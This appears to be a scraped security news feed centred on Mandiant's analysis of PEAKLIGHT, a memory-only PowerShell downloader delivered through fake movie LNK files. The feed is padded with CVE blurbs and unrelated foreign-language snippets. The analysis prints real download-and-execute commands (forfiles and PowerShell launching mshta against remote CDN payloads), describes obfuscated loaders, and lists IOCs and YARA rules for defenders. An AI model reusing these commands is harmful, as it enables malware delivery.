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A vulnerability classified as problematic was found in honojs hono up to 4.5.7. This vulnerability affects unknown code. The manipulation leads to cross-site request forgery. This vulnerability was named CVE-2024-43787. The attack can be initiated remotely. There is no exploit available. It is recommended to upgrade the affected component.

A vulnerability classified as problematic has been found in rexml Gem up to 3.3.5 on Ruby. This affects the function REXML::Document.new of the component API Parser. The manipulation leads to xml entity expansion. This vulnerability is uniquely identified as CVE-2024-43398. It is possible to initiate the attack remotely. There is no exploit available. It is recommended to upgrade the affected component.

A vulnerability was found in Byron gitoxide up to 0.37.0. It has been rated as problematic. Affected by this issue is some unknown functionality. The manipulation leads to improper neutralization of escape, meta, or control sequences. This vulnerability is handled as CVE-2024-43785. The attack may be launched remotely. There is no exploit available.

Кибератаки становятся умнее: сотрудники на передовой линии угроз.

A vulnerability was found in Swissphone DiCal-RED 4009. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the component FTP Service. The manipulation leads to information disclosure. This vulnerability is known as CVE-2024-36443. The attack can be launched remotely. Furthermore, there is an exploit available. It is recommended to apply restrictive firewalling.

QNAP has released the QTS 5.2 NAS operating system. A standout feature of this release is the debut of Security Center, which actively monitors file activities and thwarts ransomware threats. Additionally, system security receives a boost with the inclusion of support for TCG-Ruby self-encrypting drives (SED). Extensive optimizations have been implemented to streamline operations, configuration, and management processes, significantly elevating the overall user experience. “We greatly appreciate the invaluable feedback provided by our dedicated QTS … More →

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The US FAA has proposed new rules for aircraft to address cyber vulnerabilities caused by the increased interconnectivity of critical systems

KCon 2024就等你了！

索尼 2015 年在中国推出 PS4，2021 年推出 PS5。任天堂也于 2019 年与腾讯合作，在中国发售了 Switch。尽管两家企业都希望在中国扩大销售，但实际情况是销量并未像预期的那样增长。对中国国家新闻出版署发布的数据进行统计后发现，迄今为止获批的 Switch 游戏，从日本等地区进口的游戏只有约 30 款，在中国开发的游戏仅约 20 款。PS5 也一样，从上市以后获批的游戏来看，进口游戏仅为 10 款，在中国本地开发的游戏只有 8 款。截至 2024 年 3 月，任天堂 Switch 在日本共推出了 1900 款游戏，在美洲推出了约 2300 款游戏。相比之下，在中国推出的游戏数量太少了。Switch 的主力游戏《塞尔达传说》未能在中国上市。中国游戏公司员工透露：“是因为游戏中出现的骸骨被判定为不当”。

Enzoic released the latest version of Enzoic for Active Directory. The solution provides a frictionless way to continuously monitor, identify and remediate unsafe credentials by screening username and password combinations in Active Directory against Enzoic’s dynamic database. This helps organizations eliminate weak, exposed, or shared passwords, reducing the risk of a successful account takeover. The Verizon DBIR identified that compromised credentials remain a leading way for cybercriminals to access an organization, and Active Directory is … More →

The post Enzoic for Active Directory enhancements help teams identify and remediate unsafe credentials appeared first on Help Net Security.

We’re excited to announce wildcard support across our Ruleset Engine-based products and our open-source wildcard crate in Rust. Configuring rules has never been easier, with powerful pattern matching enabling simple and flexible URL redirects and beyond for users on all plans.

In the next year, more than 35,000 applications will move to end-of-life status. To manage risk effectively, we need to plan ahead.

Written by: Aaron Lee, Praveeth DSouza

TL;DR

Mandiant identified a new memory-only dropper using a complex, multi-stage infection process. This memory-only dropper decrypts and executes a PowerShell-based downloader. This PowerShell-based downloader is being tracked as PEAKLIGHT.

Overview

Mandiant Managed Defense identified a memory-only dropper and downloader delivering malware-as-a-service infostealers. During our investigation, Mandiant observed the malware download payloads such as LUMMAC.V2 (LUMMAC2), SHADOWLADDER, and CRYPTBOT. Mandiant identified the initial infection vector as a Microsoft Shortcut File (LNK) that connects to a content delivery network (CDN) hosting an obfuscated memory-only JavaScript dropper. Analysis of the payload revealed that it executes a PowerShell downloader script on the host. Mandiant named this final downloader PEAKLIGHT.

Figure 1: Infection chain

Infection Chain Stage 1: Movie Lures; A Blast from the Past 

In recent investigations, Mandiant identified victims downloading malicious ZIP files disguised as pirated movies. These archives contained a malicious Microsoft Shortcut File (LNK) following the filename schema seen in Figure 2:

* Video_mp4_1080p_x264.zip -> The Movie (HD).lnk * Video_mp4_[1080p].zip -> Full Movie 1080p HD.lnk * @!Movie_HD_1080p_mp4_@!.zip -> Full Movie HD (1080p).lnk * mp4_Full_Video_HD_1080p@!.zip -> Full Video (HD) mp4.lnk

Figure 2: Initial infection

During an associated investigation within a client environment, Mandiant identified anomalous outbound network activity to the IP address 62.133.61[.]56. The XML page seen in Figure 3 was subsequently discovered at the URL hxxp://62.133.61[.]56/Downloads.

Figure 3: XML markup

Of particular interest was this snippet from the XML markup, seen in Figure 4.

<D:href>/Downloads/Full%20Video%20HD%20%281080p%29.lnk</D:href> <D:propstat> <D:prop> <D:resourcetype></D:resourcetype> <D:displayname>Full Video HD (1080p).lnk</D:displayname> <D:getcontenttype>application/octet-stream</D:getcontenttype> <D:getetag>"17d6b3e5205a12a0460"</D:getetag> <D:getcontentlength>1120</D:getcontentlength> <D:getlastmodified>Fri, 07 Jun 2024 11:01:44 GMT</D:getlastmodified> <D:supportedlock>

Figure 4: Forwarding mechanism

Based on the contents of Figure 4, this code may have served as a redirect or forwarding mechanism for the URL hxxp://62.133.61[.]56/Downloads/Full Video HD (1080p).lnk (MD5: 62f20122a70c0f86a98ff14e84bcc999). Mandiant subsequently acquired this file and determined it was a LNK file configured with a media file icon (Figure 5).

Figure 5: LNK file configured with a media file icon

LNK files are a common tactic used by threat actors to trick unsuspecting users into unknowingly executing malware. These files can be disguised as legitimate documents or programs, making them effective for hiding in plain sight.

At this stage in the investigation, Mandiant identified different command variations within the parameters of the LNK file.

Variation 1

The parameters portion of the LNK file was configured to leverage the legitimate Microsoft utility forfiles.exe to search for the file win.ini and execute a PowerShell script. Mandiant observed the execution of the following command (Figure 6):

forfiles.exe /p C:\Windows /m win.ini /c "powershell . mshta https://nextomax.b-cdn[.]net/nexto"

Figure 6: Initial PowerShell script variation 1

This command:

• Uses the /p command switch for forfiles.exe to set the designated file search path to C:\Windows.

• Uses the /m command switch to look for files matching the name win.ini. Then, for each match (though on typical Windows installations there will only be one):

• Starts powershell.exe with configurations to load a localized or dot-sourced script, which is signified by the "." (in this case, the output generated by the rest of the command-line parameters).

• Retrieves a second-stage payload from the URL hxxps://nextomax.b-cdn[.]net/nexto.

• Executes the retrieved payload via mshta.exe.

After executing this LNK file, Windows Media Player was opened on the affected host, and a video of a prominent film studio's opening logo reel played automatically.

This video file was simply called video.mp4 (MD5: 91423dd4f34f759aaf82aa73fa202120) and presumably served as a "cover" video to attempt to alleviate suspicions that the affected host had, in reality, been infected with malware.

Variation 2

In a different investigation, Mandiant observed the parameters portion of the LNK file initiated a PowerShell command that employed asterisks (*) as wildcards to launch mshta.exe to discreetly run malicious code retrieved from a remote server.

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e'). ('PSChildName')hxxps://potexo.b-cdn[.]net/potexo

Figure 7: Initial PowerShell script variation 2

This command:

• Runs a script signified by the dot sourcing operator ".".

• Uses the Get-ItemProperty (gp) to point to the Mshta registry hive and psChildName to specify the object, mshta.exe.

• Retrieves the second-stage payload from the URL hxxps://potexo.b-cdn[.]net/potexo and executes via mshta.exe.

The attackers employed the following evasion techniques to further cover their tracks:

• System Binary Proxy Execution: By using mshta.exe, the attackers execute malicious code directly from a remote server, bypassing application control solutions and browser security settings. 

• Content Delivery Network Abuse: The attackers took advantage of a reputable content delivery network (Bunny CDN) to host their malicious payloads. This abuse of trust associated with CDNs allowed them to circumvent security filters that might not scrutinize traffic from known, trusted sources.

Both variations utilize MITRE ATT&CK® Technique T1218.005: System Binary Proxy Execution: Mshta.

Stage 2: JavaScript Dropper

Figure 8 shows analysis of the HTML file cached on the CDN contained an obfuscated memory-only JavaScript dropper.

Figure 8: JavaScript dropper layer 1

The script begins by assigning decimal-encoded ASCII characters to randomly named variables. The String.fromCharCode() function is then used to convert the decimal-encoded characters back into their corresponding ASCII characters to decode the JavaScript dropper embedded within the script.

Mandiant identified an embedded payload after decoding the JavaScript dropper, seen in Figure 9.

Figure 9: JavaScript dropper layer 2

The script in Figure 9 carries out the following actions:

1. Decoding Function (wAJ)

• The function receives an array of numbers, decodes each by subtracting 619, and then converts the result to its corresponding character using String.fromCharCode(). These characters are then combined to produce the final, decoded string, which is returned by the function.

2. Payload (KbX, YmD)

• The variables KbX and YmD contain obfuscated data, which is decoded by the wAJ function.

3. ActiveXObject

• The script employs a decoded variable YmD, which resolves to Wscript.shell, to create a new ActiveX object. This object grants the script system-level privileges to execute commands.

4. IMD.Run

• Executes the decoded KbX command.

• Parameters:

• 0: This parameter instructs the command to run in a hidden window, keeping its actions concealed from the user.

• true: This parameter ensures the script waits for the command to complete its execution before moving on to any subsequent steps.

The payload (KbX) was abbreviated to maintain a concise presentation.

Note: Mandiant used this CyberChef recipe to successfully decode the obfuscated JavaScript dropper.

Variation 1: Hex-Encoded Payload

Figure 10: PowerShell hex-encoded payload

The first command conceals its malicious payload within a string of hexadecimal characters. The execution process adheres to the following sequence:

• Stealthy PowerShell Launch: The command initiates PowerShell in a hidden window (-w 1), bypasses execution restrictions (-ep Unrestricted), and skips loading user profiles (-nop), ensuring covert operations.

• Hex to Byte Conversion: A custom function (ffQiHkvB) is defined to transform the hexadecimal string into a byte array, a standard format for storing data.

• Decryption: The script creates an Advanced Encryption Standard (CBC mode) decryptor using a hex key. The byte array is decrypted, revealing the actual PowerShell code.

• Execution: Finally, the decrypted PowerShell code is executed.

Note: Mandiant decoded the payload using a custom CyberChef recipe.

Variation 2: Base64-Encoded Payload

Figure 11: PowerShell Base64-encoded payload

The second command follows a similar structure but with key differences: the malicious payload is encoded using Base64 instead of hexadecimal and is executed through a memory stream.

• Stealth and Configuration: The initial steps to launch PowerShell in a hidden, unrestricted mode are the same as in Variation 1.

• Base64 Decoding: Instead of a custom function, this variant directly uses PowerShell's built-in FromBase64String method to decode the payload. 

• Decryption, Decompression, and Execution: The payload is decrypted using AES (ECB mode) with a Base64-encoded key. After decryption, the payload is decompressed into memory using GZIP, revealing the PowerShell code, which is subsequently executed.

Stage 3: PEAKLIGHT; The PowerShell Downloader

PEAKLIGHT is an obfuscated PowerShell-based downloader that checks for the presence of hard-coded filenames and downloads files from a remote CDN if the files are not present. 

During our analysis, Mandiant identified the following key differences across the variations of the PEAKLIGHT script:

• Target Directory: 
  • Variation 1 downloads files to $env:AppData.
  • Variation 2 downloads files to $env:ProgramData.
• Execution Logic: 
  • Variation 1 executes the first alphabetically sorted file in the archive. 
  • Variation 2 executes the first file found in the archive.
• File Name: 
  • Variation 1 downloads files as L1.zip and L2.zip.
  • Variation 2 downloads files as K1.zip and K2.zip. 
• Additional Actions: 
  • Variation 1 also downloads an image (video.mp4) and makes a request to a remote server. 
  • Variation 2 does not download an image file.

Note: Mandiant decoded the obfuscated payload using a custom CyberChef recipe.

Variation 1

Figure 12: PEAKLIGHT variation 1

This PEAKLIGHT downloader is designed to execute the following tasks:

1. znY: Writes data to a file.

2. nbF: Extracts a ZIP archive and runs the first executable file inside.

3. aXR: Downloads data from an obfuscated URL.

4. jkg: Deobfuscates a string.

Main Function (AsD)

• Video Playback or Download: It checks if video.mp4 exists in the AppData folder. If it exists, it plays the video. If not, it downloads the video from a specified URL, saves it as video.mp4 in the AppData folder, and then plays it.

• Image Download: It downloads an image from https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png using Invoke-WebRequest.

• ZIP File Handling:

• It checks if L1.zip exists in the AppData folder.

• If it exists, it extracts its contents to the AppData folder and runs the first executable file found within the ZIP.

• If not, it downloads L1.zip from a specified URL, saves it in the AppData folder, extracts its contents, and runs the first executable.

• It repeats the same process for L2.zip.

Analysis of the PEAKLIGHT downloader outlined in Figure 12 revealed the following URIs:

• https://nextomax.b-cdn[.]net/video.mp4

• https://nextomax.b-cdn[.]net/L1.zip

• https://nextomax.b-cdn[.]net/L2.zip

• https://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png 

Variation 2

Figure 13: PEAKLIGHT variation 2

This PEAKLIGHT downloader is designed to deliver and execute additional payloads on a compromised system.

The functions:

1. qXF($EGa, $aQU): The purpose of this function is to write data to a file.
2. Irl($EGa): Extracts a ZIP archive and runs an executable from it.
3. OBs($BYu):  Downloads data from a URL.
4. Fzl($XFW): Deobfuscates an array of numbers into a string (likely a URL).

Main Execution (bSo function):

• Defines two ZIP file paths: K1.zip and K2.zip within the ProgramData directory.

• For each of these ZIP files, it checks if they already exist.

• If the file exists, it simply unzips it using the Irl function.

• If the file is missing, it first uses the function Fzl to decode an obfuscated web address, then downloads the ZIP file from that address using the function OBs. Finally, it unzips the downloaded file using the function Irl.

Analysis of the PEAKLIGHT downloader outlined in Figure 13 revealed the following URIs:

• https://potexo.b-cdn[.]net/K1.zip

• https://potexo.b-cdn[.]net/K2.zip

Additionally, Mandiant identified other PEAKLIGHT downloader samples connecting to various subdomains hosted on Bunny CDN. These samples will be discussed in more detail in the subsequent stage of analysis.

Stage 4: The Final Payload Variation 1: L1.zip and L2.zip

Having explored the initial stages of the PEAKLIGHT downloader's operation, our focus now shifts to the payload it delivers. As detailed in Variation 1 of Stage 3, this downloader was observed downloading three specific files: L1.zip, L2.zip, and video.mp4. Mandiant successfully acquired and extracted the contents of the files, as seen in Table 1.

Download

Extracted Content

• Filename: L2.zip

• Hash: 307f40ebc6d8a207455c96d34759f1f3

• Type: Archive

• Filename: Setup.exe

• Hash: d8e21ac76b228ec144217d1e85df2693

• Type: Win32 EXE

• Filename: L1.zip

• Hash: a6c4d2072961e9a8c98712c46be588f8

• Type: Archive

• Filename: LiteSkinUtils.dll

• Hash: 059d94e8944eca4056e92d60f7044f14

• Type: Win32 DLL

• Filename: Bentonite.cfg

• Hash: e7c43dc3ec4360374043b872f934ec9e

• Type: PNG

• Filename: Video.mp4

• Hash: 91423dd4f34f759aaf82aa73fa202120

• Type: Video

  Table 1: Variant 1 downloaded files and extracted archive content

1. L2.zip contained the following:
   • Setup.exe: This executable is a variant of the Cryptbot infostealer. Our analysis uncovered the following embedded URLs:
     1. https://brewdogebar[.]com/code.vue
     2. http://gceight8vt[.]top/upload.php
2. L1.zip contained the following:
   • bentonite.cfg: This file contains malware configurations that are linked to the SHADOWLADDER malware family.
   • LiteSkinUtils.dll: It is a malicious component used by SHADOWLADDER malware to facilitate the execution of its second-stage payload through dynamic-link library (DLL) side-loading.
3. Video.mp4
   • This file appears to be a legitimate movie trailer, likely used as a decoy to deceive the victim into believing that the downloaded files are safe.

Variation 2: K1.zip and K2.zip

The second variant of the PEAKLIGHT downloader, discussed in Variation 2 of Stage 3, was observed downloading two archives: K1.zip and K2.zip.

Download

Extracted Content

• Filename: K1.zip

• Hash: b6b8164feca728db02e6b636162a2960

• Type: Archive

• Filename: toughie.txt

• Hash: dfdc331e575dae6660d6ed3c03d214bd

• Type: data

• Filename: Aaaa.exe

• Hash: b15bac961f62448c872e1dc6d3931016

• Type: Win32 EXE

• Filename: WCLDll.dll

• Hash: 47eee41b822d953c47434377006e01fe

• Type: Win32 DLL

• Filename: C:\Users\user\AppData\Local\Temp\erefgojgbu

• Hash: d6ea5dcdb2f88a65399f87809f43f83c

• Type: Win32 EXE

 

• Filename: K2.zip

• Hash: 236c709bbcb92aa30b7e67705ef7f55a

• Type: Archive

• Filename: Jfts.exe

• Hash: b15bac961f62448c872e1dc6d3931016

• Type: Win32 EXE

Table 2: Variant 2 downloaded files and extracted archive content

1. K1.zip contained the following:
   • toughie.txt: This file contained configurations related to the SHADOWLADDER malware.
   • aaaa.exe & WCLDll.dll: These binaries are DLL files that SHADOWLADDER patches to leverage their HTTP download functionality.
2. K2.zip contained the following:
   • Jfts.exe: This file is a renamed copy of the previously mentioned aaaa.exe.

Upon execution, Jfts.exe loads the malicious WCLDll.dll from K1.zip. This DLL then leverages the "More Utility" (more.com) to stealthily drop two additional files:

• \AppData\Local\Temp\Hofla.au3 (MD5: c56b5f0201a3b3de53e561fe76912bfd): Identified as an AutoIt3.exe binary.
• \AppData\Local\Temp\erefgojgbu (MD5: d6ea5dcdb2f88a65399f87809f43f83c): Further analysis of this files confirmed their association with the CRYPTBOT.AUTOIT malware.

Variation 3: Additional PEAKLIGHT Variant

Further analysis has identified an additional PEAKLIGHT downloader variant employing distinct tactics. This variant retrieves its payload,the archives K1.zip and K2.zip, from the domain matodown.b-cdn[.]net. A detailed breakdown of the contents within these archives is presented in Table 3.

Download

Extracted Content

• Filename: K1.zip

• Hash: bb9641e3035ae8c0ab6117ecc82b65a1

• Type: Archive

• Filename: cymophane.doc

• Hash: f98e0d9599d40ed032ff16de242987ca

• Type: ISO

• Filename: WebView2Loader.dll

• Hash: 58c4ba9385139785e9700898cb097538

• Type: Win32 DLL

• Filename: K2.zip

• Hash: d7aff07e7cd20a5419f2411f6330f530

• Type: Archive

• Filename: hgjke.exe

• Hash: c047ae13fc1e25bc494b17ca10aa179e

• Type: Win32 EXE

• Filename: AppData\Local\Temp\oqnhustu

• Hash: 43939986a671821203bf9b6ba52a51b4

• Type: Win32 EXE

  Table 3: Variant 3 downloaded files and extracted archive content

1. K1.zip contained the following:
   • cymophane.doc: This file contained configurations related to the SHADOWLADDER malware.
   • WebView2Loader.dll: This malicious DLL was observed to be dropped by the LummaC.V2 infostealer.
2. K2.zip contained the following:
   • Hgjke.exe: Identified as a renamed copy of the legitimate "JRiver Web Application" executable. During dynamic analysis, hgjke.exe was observed loading the malicious WebView2Loader.dll. Mandiant observed hgjke.exe utilize the comp.exe utility to drop two additional files:
     • AppData\Local\Temp\Ufa.au3 (MD5: c56b5f0201a3b3de53e561fe76912bfd): Identified as an AutoIt3 binary.
     • AppData\Local\Temp\oqnhustu (MD5: 43939986a671821203bf9b6ba52a51b4): Further analysis confirmed this file to be consistent with the LummaC.V2 payload.

Conclusion

PEAKLIGHT is an obfuscated PowerShell-based downloader that is part of a multi-stage execution chain that checks for the presence of ZIP archives in hard-coded file paths. If the archives do not exist, the downloader will reach out to a CDN site and download the remotely hosted archive file and save it to disk. PEAKLIGHT was observed downloading payloads such as LUMMAC.V2, SHADOWADDER, and CRYPTBOT. The malware developers used several different obfuscation and evasion techniques, including system binary proxy execution and CDN abuse. Mandiant identified different variations of the PEAKLIGHT downloader, each with its own unique characteristics.

We encourage security researchers to remain vigilant and share any insights or similar malware samples they encounter. By working together and fostering open communication within the cybersecurity community, we can better understand the evolving threat landscape and strengthen our collective defenses against future attacks.

Protect and scan your environment against the indicators of compromise and YARA rules in the following section. If you suspect that your environment may have been compromised, contact our Incident Response team for assistance.

Acknowledgements

We would like to thank Adrian McCabe for assistance with LNK research and subject matter expertise, Raymond Leong for the initial analysis of malware stages and payloads, and the Mandiant Research Team for their valuable feedback.

Detections YARA Rules rule M_AES_Encrypted_payload { meta: author = "Mandiant" description = "This rule is desgined to detect on events that exhibits indicators of utilizing AES encryption for payload obfuscation." target_entity = "Process" strings: $a = /(\$\w+\.Key(\s|)=((\s|)(\w+|));|\$\w+\.Key(\s|)=(\s|)\w+\('\w+'\);)/ $b = /\$\w+\.IV/ $c = /System\.Security\.Cryptography\.(AesManaged|Aes)/ condition: all of them } rule M_Downloader_PEAKLIGHT_1 { meta: mandiant_rule_id = "e0abae27-0816-446f-9475-1987ccbb1bc0" author = "Mandiant" category = "Malware" description = "This rule is designed to detect on events related to peaklight. PEAKLIGHT is an obfuscated PowerShell-based downloader which checks for the presence of hard-coded filenames and downloads files from a remote CDN if the files are not present." family = "Peaklight" platform = "Windows" strings: $str1 = /function\s{1,16}\w{1,32}\(\$\w{1,32},\s{1,4}\$\w{1,32}\)\ {\[IO\.File\]::WriteAllBytes\(\$\w{1,32},\s{1,4}\$\w{1,32}\)\}/ ascii wide $str2 = /Expand-Archive\s{1,16}-Path\s{1,16}\$\w{1,32}\ s{1,16}-DestinationPath/ ascii wide $str3 = /\(\w{1,32}\s{1,4}@\((\d{3,6},){3,12}/ ascii wide $str4 = ".DownloadData(" ascii wide $str5 = "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12" ascii wide $str6 = /\.EndsWith\(((["']\.zip["'])|(\(\w{1,32}\s{1,16}@\((\d{3,6},){3}\d{3,6}\)\)))/ ascii wide $str7 = "Add -Type -Assembly System.IO.Compression.FileSystem" ascii wide $str8 = "[IO.Compression.ZipFile]::OpenRead" condition: 4 of them and filesize < 10KB } Indicators of Compromise (IOCs) Network-Based IOCs PEAKLIGHT NBIs: hxxps://fatodex.b-cdn[.]net/fatodex hxxps://matodown.b-cdn[.]net/matodown hxxps://potexo.b-cdn[.]net/potexo LUMMAC.V2 C2s: relaxtionflouwerwi[.]shop deprivedrinkyfaiir[.]shop detailbaconroollyws[.]shop messtimetabledkolvk[.]shop considerrycurrentyws[.]shop understanndtytonyguw[.]shop patternapplauderw[.]shop horsedwollfedrwos[.]shop tropicalironexpressiw[.]shop CRYPTBOT C2s: hxxp://gceight8vt[.]top/upload.php hxxps://brewdogebar[.]com/code.vue SHADOWLADDER: hxxp://62.133.61[.]56/Downloads/Full%20Video%20HD%20(1080p).lnk hxxps://fatodex.b-cdn[.]net/K1.zip hxxps://fatodex.b-cdn[.]net/K2.zip hxxps://forikabrof[.]click/flkhfaiouwrqkhfasdrhfsa.png hxxps://matodown.b-cdn[.]net/K1.zip hxxps://matodown.b-cdn[.]net/K2.zip hxxps://nextomax.b-cdn[.]net/L1.zip hxxps://nextomax.b-cdn[.]net/L2.zip hxxps://potexo.b-cdn[.]net/K1.zip hxxps://potexo.b-cdn[.]net/K2.zip Host-Based IOCs CRYPTBOT: erefgojgbu (MD5: d6ea5dcdb2f88a65399f87809f43f83c) L2.zip (MD5: 307f40ebc6d8a207455c96d34759f1f3) Sеtup.exe (MD5: d8e21ac76b228ec144217d1e85df2693) LUMMAC.V2: oqnhustu (MD5: 43939986a671821203bf9b6ba52a51b4) WebView2Loader.dll (MD5: 58c4ba9385139785e9700898cb097538) PEAKLIGHT: Downloader (MD5: 95361f5f264e58d6ca4538e7b436ab67) Downloader (MD5: b716a1d24c05c6adee11ca7388b728d3) SHADOWLADDER: Aaaa.exe (MD5: b15bac961f62448c872e1dc6d3931016) bentonite.cfg (MD5: e7c43dc3ec4360374043b872f934ec9e) cymophane.doc (MD5: f98e0d9599d40ed032ff16de242987ca) K1.zip (MD5: b6b8164feca728db02e6b636162a2960) K1.zip (MD5: bb9641e3035ae8c0ab6117ecc82b65a1) K2.zip (MD5: 236c709bbcb92aa30b7e67705ef7f55a) K2.zip (MD5: d7aff07e7cd20a5419f2411f6330f530) L1.zip (MD5: a6c4d2072961e9a8c98712c46be588f8) LiteSkinUtils.dll (MD5: 059d94e8944eca4056e92d60f7044f14) toughie.txt (MD5: dfdc331e575dae6660d6ed3c03d214bd) WCLDll.dll (MD5: 47eee41b822d953c47434377006e01fe)

愈来愈多的科学证据表明，微塑料正在大脑等人体重要器官中积累。这促使研究人员呼叫采取紧急行动控制微塑料污染。研究发现，人类的肺、胎盘、生殖器官、肝脏、肾脏、膝盖和肘关节、血管和骨髓中都存在微塑料碎片和斑点。最新研究中，对被解剖尸体肝脏、肾脏和大脑的检查发现，所有尸体都含有微塑料，微塑料在 91 个大脑样本的含量是其它器官的 10-20 倍。研究人员发现，2024 年初收集的 24 个大脑样本中，塑料的重量平均占到大脑重量的约 0.5%。研究人员对此倍感震惊，称大脑是受到塑料污染最严重的组织之一。微塑料对人体健康危害尚不清楚。最近的研究表明，它们可能会增加各种疾病的风险。动物研究还将微塑料与生育问题、癌症、内分泌和免疫系统紊乱，以及学习和记忆力受损关联起来。

Компания поделилась результатами второго участника испытаний.

权威认可！

Захромала собака? X Caliber точно знает, что делать.

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